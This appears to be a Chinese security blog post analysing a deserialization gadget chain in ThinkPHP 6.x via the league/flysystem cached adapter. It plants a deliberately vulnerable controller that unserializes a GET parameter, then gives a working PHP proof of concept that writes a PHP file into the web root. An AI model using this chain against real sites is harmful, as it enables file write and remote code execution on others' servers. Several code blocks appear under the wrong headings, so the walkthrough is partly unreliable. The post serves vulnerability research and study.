

ThinkPHP 6.x反序列化POP链（三）

原创 Tomsawyer 宽字节安全 今天

环境准备

安装ThinkPHP 6.0

```
composer create-project tophink/think=6.0.x-dev v6.0
```

修改[application/index/controller/Index.php](#) 的代码

```
class Index
{
    public function index()
    {
        \$payload = unserialize(base64_decode(\$\_GET\['payload'\]));
        return 'ThinkPHP V6.x';
    }
}
```

开启ThinkPHP6调试

将根目录.example.env更改为.env，文件中添加：`APP_DEBUG = true`

POP链分析

__destruct()

pop链的起点与前面的利用方式相同，都是/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php 中__destruct() 方法中的 save()

```
class Adapter extends AbstractCache
{
    /**
     * @var AdapterInterface An adapter
     */
    protected $adapter;
```

Adapter

第二步也同样是寻找继承了 AbstractCache 的类，我们选择的是 vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php 中的 Adapter 类

```
28         public function __destruct()
29         {
30             if (! $this->autosave) {
31                 $this->save();
32             }
33         }
```

save()

分析 Adapter 类中实现的 save() 方法

```

94 public function getForStorage()
95 {
96     $cleaned = $this->cleanContents($this->cache);
97
98     return json_encode([$cleaned, $this->complete, $this->expiry]);
99 }

```

`$contents` 是 `getForStorage()` 函数的返回值，跟进此函数

getForStorage()

```

104 public function save()
105 {
106     $config = new Config();
107     $contents = $this->getForStorage();
108
109     if ($this->adapter->has($this->file)) {
110         $this->adapter->update($this->file, $contents, $config);
111     } else {
112         $this->adapter->write($this->file, $contents, $config);
113     }
114 }
115 }

```

执行了 `cleanContents()` 方法，跟进此方法

cleanContents()

由于当前类中没有 `cleanContents()` 方法，所以我们在父类 `Adapter` 中查找

```

104 public function save()
105 {
106     $config = new Config();
107     $contents = $this->getForStorage();
108
109     if ($this->adapter->has($this->file)) {
110         $this->adapter->update($this->file, $contents, $config);
111     } else {
112         $this->adapter->write($this->file, $contents, $config);
113     }
114 }
115 }

```

宽字节安全

发现了和上一篇文章中相同的代码，只进行了数组合并，传入的数组原样返回，`$contents` 来源于 `$this->cache`。

我们通过 `$this->cache` 传入数组，经过 `getForStorage()` 中的 `json_encode` 处理后，返回json给 `save()` 中的 `$contents`。此处先行提示，`$contents` 包含了写入文件的内容。

回到save()

```

326 public function cleanContents(array $contents)
327 {
328     $cachedProperties = array_flip([
329         'path', 'dirname', 'basename', 'extension', 'filename',
330         'size', 'mimetype', 'visibility', 'timestamp', 'type',
331     ]);
332
333     foreach ($contents as $path => $object) {
334         if (is_array($object)) {
335             $contents[$path] = array_intersect_key($object, $cachedProperties);
336         }
337     }
338
339     return $contents;
340 }

```

宽字节安全



我们已经分析了 `$contents` ，下面我们分析if else逻辑。我们需要利用 `write` 方法写文件，要触发 `write` 方法我们需要让has方法返回false。


由此，我们需要寻找一个有 `has` 和 `write` 方法的类。

`vendor/league/flysystem/src/Adapter/Local.php` 中的 `Local` 类符合要求

Local类

跟进has()

```
114        public function has($path)
115      {
116          $location = $this->applyPathPrefix($path);
117
118          return file_exists($location);
119      }
```

 宽字节安全

执行 `applyPathPrefix()` 返回给 `$location` ，继续跟进 `applyPathPrefix()`

applyPathPrefix()

当前类中不存在 `applyPathPrefix()` ，所以我们去Local 的父类 `AbstractAdapter` 中寻找

```

43     public function getPathPrefix()
44     {
45         return $this->pathPrefix;
46     }
47
48     /**
49      * Prefix a path.
50      *
51      * @param string $path
52      *
53      * @return string prefixed path
54      */
55     public function applyPathPrefix($path)
56     {
57         return $this->getPathPrefix() . ltrim($path, 'hadist \\\\/');
58     }

```

`applyPathPrefix()` 调用了前面的 `getPathPrefix()`

getPathPrefix()

`getPathPrefix()` 返回的是 `$this->pathPrefix` 的值，`pathPrefix` 可控，`ltrim` 函数去除 `file` 左侧的/和\，于是我们可以直接传入一个文件名，然后控制 `pathPrefix` 为路径部分。

回到has()

执行 `file_exists` 函数，我们只需要保证传入的文件名不存在即可使 `has` 返回 `false`

write()



`$location` 来源于 `$this->file` 传入 `applyPathPrefix` 处理后的文件名, `$contents` 即经过 `json_encode` 处理后带有文件内容的 json 数据

POC

```
<?php
```

```
namespace League\Flysystem\Cached\Storage{  
abstract class AbstractCache  
{  
protected $autosave = false;  
protected $cache = ["test"=>"<?php phpinfo();?>"];  
}  
}
```

```
namespace League\Flysystem\Cached\Storage{  
use League\Flysystem\Cached\Storage\AbstractCache;  
class Adapter extends AbstractCache  
{  
protected $file;  
protected $adapter;  
  
public function __construct($adapter="")  
{  
$this->file = "think\\public\\test.php";  
    // 需要根据系统以及配置修改路径写法  
$this->adapter = $adapter;  
}  
}  
}
```

```
namespace League\Flysystem\Adapter{  
class Local  
{  
protected $writeFlags = 0;  
}
```



```
}

namespace{
$local = new League\Flysystem\Adapter\Local();
$cache = new League\Flysystem\Cached\Storage\Adapter($local);
echo base64_encode(serialize($cache));
}

?>
```

```
124 public function write($path, $contents, Config $config)
125 {
126     $location = $this->applyPathPrefix($path);
127     $this->ensureDirectory(dirname($location));
128
129     if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
130         return false;
131     }
132
```

宽字节安全